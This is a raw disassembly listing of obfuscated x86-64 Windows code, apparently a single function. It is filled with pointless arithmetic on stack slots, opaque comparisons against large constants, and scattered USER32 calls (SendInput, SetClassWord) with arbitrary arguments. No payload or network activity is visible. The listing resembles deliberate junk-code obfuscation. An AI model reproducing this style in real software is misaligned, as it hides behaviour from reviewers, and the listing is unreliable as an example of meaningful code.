mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x349c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movabs rax, 0x2a04711e6eac62c0
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
sub eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
add eax, ecx
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
and eax, ecx
mov word [rsp + 0xd88], ax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [section..data]
add eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3468]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3240], eax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3240], eax
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xe14]
xor eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x159]
shl eax, cl
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x349c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov eax, dword [rsp + 0x34a4]
add eax, 0x42
mov dword [rsp + 0x34a4], eax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
sar eax, 0xd
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xd88]
and eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
sub eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
add eax, 0x2ca0
mov word [rsp + 0xe10], ax
mov eax, dword [rsp + 0x348c]
sub eax, 0x12d3ede9
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3468]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3240], eax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x158]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
sub eax, 0x5034
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
sub eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
shl eax, 0xa
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe0c]
sar eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x158]
or eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
jmp 0x14000571d
mov rax, qword [rsp + 0x6050]
mov qword [rsp + 0x60b8], rax
lea rax, [rsp + 0x3468]
mov qword [rsp + 0x60c0], rax
mov dword [rsp + 0x34b0], 0xa7cd
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x3468]
mov edx, dword [rsp + 0x349c]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x14012c7bc
cmp dword [rsp + 0x3460], 0xf2f5
ja 0x140006028
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
sar eax, cl
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
movsx eax, word [rsp + 0xe10]
shl eax, 0xd
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15b]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
and eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movsx eax, word [rsp + 0xe10]
add eax, 0x4d3
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x349c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov word [rsp + 0xd88], ax
movabs rax, 0xb1fd12b30956392
mov rcx, qword [rsp + 0x6050]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60b8], rax
mov eax, dword [rsp + 0x3460]
add eax, 0x27
mov dword [rsp + 0x3460], eax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
movsx eax, word [rsp + 0xe10]
xor eax, 0x377d
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x159]
sar eax, cl
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
shl eax, cl
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15b]
or eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov dword [rcx], eax
movabs rax, 0x6765bf30f40f7d8a
mov rcx, qword [rsp + 0x6050]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
and eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [section..data]
add eax, ecx
mov byte [rsp + 0x15a], al
movsx eax, word [rsp + 0xe10]
add eax, 0x4ad7
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
add eax, 0x32ca
mov word [rsp + 0xe10], ax
movsx eax, word [rsp + 0xe10]
sub eax, 0x7809
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
or eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
sar eax, 0xa
mov word [rsp + 0xe10], ax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [section..data]
shl eax, cl
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
xor eax, ecx
mov word [rsp + 0xd88], ax
jmp 0x140005c95
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x15d], al
mov dword [rsp + 0x34b4], 0xebfb
movzx eax, byte [rsp + 0x15d]
mov byte [rsp + 0x34b8], al
cmp byte [rsp + 0x34b8], 0x3b
je 0x14000606a
cmp byte [rsp + 0x34b8], 0x4a
je 0x14000608f
jmp 0x140006126
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
and eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
jmp 0x140006126
mov r8d, 0xd1
lea rdx, [rsp + 0x15c]
mov ecx, 0xc2
call qword [sym.imp.USER32.dll_SendInput]
mov dword [rsp + 0x34bc], eax
mov eax, dword [rsp + 0x348c]
mov dword [rsp + 0x34bc], eax
mov eax, dword [rsp + 0x348c]
mov dword [rsp + 0x34c0], eax
cmp dword [rsp + 0x34c0], 0x789cf101
je 0x1400060da
jmp 0x140006106
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rcx, qword [rsp + 0x6050]
call fcn.14012e8b0
nop
jmp 0x140006126
mov r8w, 0xb0
mov edx, 0x95
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_SetClassWord]
mov word [rsp + 0xe0c], ax
movzx eax, word [rsp + 0xe0c]
mov dword [rsp + 0x34c4], eax
cmp dword [rsp + 0x34c4], 0x87c
je 0x140006144
jmp 0x140006161
mov rax, qword [rsp + 0x6068]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x34bc]
call fcn.14012d9e0
nop
jmp 0x14012c7a9
mov eax, dword [rsp + 0x349c]
mov dword [rsp + 0x34c8], eax
cmp dword [rsp + 0x34c8], 0
je 0x14000618f
cmp dword [rsp + 0x34c8], 0x4e75705e
je 0x140006239
jmp 0x140006258
mov rax, qword [rsp + 0x60c0]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3240], eax
lea rax, [rsp + 0xe10]
mov qword [rsp + 0x60d0], rax
movzx eax, byte [rsp + 0x15c]
mov byte [rsp + 0x15e], al
mov dword [rsp + 0x34cc], 0xc21e
mov dword [rsp + 0x34d0], 0xbff7
lea rax, [rsp + 0xd88]
mov qword [rsp + 0x60d8], rax
mov dword [rsp + 0x34d4], 0xcd87
lea rax, [rsp + 0xe14]
mov qword [rsp + 0x60e0], rax
mov dword [rsp + 0x34d8], 0xe4cf
lea rax, [rsp + 0x158]
mov qword [rsp + 0x60e8], rax
mov rax, qword [rsp + 0x6060]
movzx eax, word [rax]
mov word [rsp + 0xe18], ax
jmp 0x140006258
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov eax, dword [rsp + 0x3240]
mov dword [rsp + 0x34dc], eax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
movsx ecx, byte [rsp + 0x15b]
mov rdx, qword [rsp + 0x60e8]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x1400063f2
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
movsx ecx, byte [rsp + 0x15b]
movsx edx, byte [rsp + 0x159]
sub ecx, edx
cmp eax, ecx
je 0x14000631b
mov eax, dword [rsp + 0x348c]
mov dword [rsp + 0x34bc], eax
mov ecx, 0x11
call qword [sym.imp.USER32.dll_LockSetForegroundWindow]
mov dword [rsp + 0x34e0], eax
mov rax, qword [rsp + 0x6050]
shl rax, 0x30
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sar eax, cl
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
jmp 0x1400063f2
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
sub eax, ecx
mov dword [rsp + 0x34e4], eax
movzx ecx, word [rsp + 0xe0c]
mov rdx, qword [rsp + 0x6068]
movzx edx, word [rdx]
mov dword [rsp + 0x34e8], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x34e8]
idiv ecx
mov ecx, dword [rsp + 0x34e4]
cmp ecx, eax
jg 0x1400063f2
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x15b], al
lea rax, [rsp + 0xe0c]
mov qword [rsp + 0x60f0], rax
lea rax, section..data
mov qword [rsp + 0x60f8], rax
lea rax, [rsp + 0x159]
mov qword [rsp + 0x6100], rax
lea rax, [rsp + 0x6050]
mov qword [rsp + 0x6108], rax
mov dword [rsp + 0x34ec], 0x3879
lea rax, [rsp + 0x349c]
mov qword [rsp + 0x6110], rax
lea rax, [rsp + 0x348c]
mov qword [rsp + 0x6118], rax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
or eax, ecx
mov word [rsp + 0xd88], ax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [rsp + 0x15e], al
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x60c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3468]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6110]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6050], rax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe0c]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15e]
sub eax, ecx
mov byte [rsp + 0x15c], al
movsx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x158], al
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe18]
shl eax, cl
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
xor eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6050]
movzx ecx, al
mov rax, qword [rsp + 0x60b8]
sar rax, cl
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x6110]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3240], eax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe0c], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15e]
sub eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
movsx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6110]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x348c], eax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
xor eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
or eax, ecx
mov byte [rsp + 0x15c], al
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0xe10]
sar eax, cl
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15e]
and eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x348c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
movzx eax, word [rsp + 0xd88]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe14], ax
mov eax, dword [rsp + 0x34dc]
mov ecx, dword [rsp + 0x349c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6050]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov word [rsp + 0xd88], ax
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe18]
and eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
mov eax, dword [rsp + 0x34d8]
add eax, 0x84
mov dword [rsp + 0x34d8], eax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
or eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
sar eax, cl
mov byte [section..data], al
mov eax, dword [rsp + 0x348c]
mov rcx, qword [rsp + 0x6118]
mov qword [rsp + 0x6120], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6120]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6050]
mov rcx, qword [rsp + 0x60b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [rsp + 0x15a], al
mov eax, dword [rsp + 0x3468]
mov dword [rsp + 0x349c], eax
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15a], al
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
cmp dword [rsp + 0x34d8], 0x10863
jb 0x1400063f2
movzx eax, word [rsp + 0xd88]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xe14]
sub ecx, edx
cmp eax, ecx
jge 0x140006ade
mov eax, dword [rsp + 0x348c]
mov dword [rsp + 0x34f0], eax
cmp dword [rsp + 0x34f0], 0
je 0x1400069d7
cmp dword [rsp + 0x34f0], 0xf1dd7ffa
je 0x140006abd
jmp 0x140006ade
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3468]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6110]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3240]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x140006abb
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd88], ax
mov eax, dword [rsp + 0x3468]
mov ecx, dword [rsp + 0x349c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x34dc]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140006aa3
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
mov byte [rsp + 0x34f4], al
cmp byte [rsp + 0x34f4], 0xb2
je 0x140006a91
jmp 0x140006aa1
mov edx, 0x3b
mov ecx, 0xb0
call fcn.14012d3c0
nop
jmp 0x140006abb
movzx eax, byte [rsp + 0x15e]
movzx ecx, byte [rsp + 0x15a]
or eax, ecx
mov byte [section..data], al
jmp 0x140006ade
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov dword [rsp + 0x34f8], 0x2c9e
lea rax, [rsp + 0x3468]
mov qword [rsp + 0x6128], rax
movabs rax, 0x4dca264209db5b5a
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x6130]
mov qword [rsp + 0x6138], rax
movabs rax, 0x4dca264209db5b5a
cmp qword [rsp + 0x6138], rax
je 0x140006b4c
movabs rax, 0xa0780493ef6d4593
cmp qword [rsp + 0x6138], rax
je 0x14012c68f
jmp 0x14012c6c1
cmp dword [rsp + 0x3478], 0x3524
jb 0x140007113
movzx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x348c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6050]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
or eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15b]
shl eax, cl
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
movzx eax, byte [section..data]
movzx ecx, byte [rsp + 0x15c]
xor eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0xe10]
and eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov eax, dword [rsp + 0x348c]
mov ecx, dword [rsp + 0x34bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6050]
mov rcx, qword [rsp + 0x60b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6110]
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe0c], ax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe10], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15d]
add eax, ecx
mov byte [rsp + 0x15b], al
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
sar eax, cl
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [section..data], al
mov rax, qword [rsp + 0x6128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34dc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3468], eax
mov eax, dword [rsp + 0x3468]
mov ecx, dword [rsp + 0x34dc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
add eax, ecx
mov word [rsp + 0xe18], ax
mov eax, dword [rsp + 0x3478]
sub eax, 0xcd
mov dword [rsp + 0x3478], eax
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sub eax, ecx
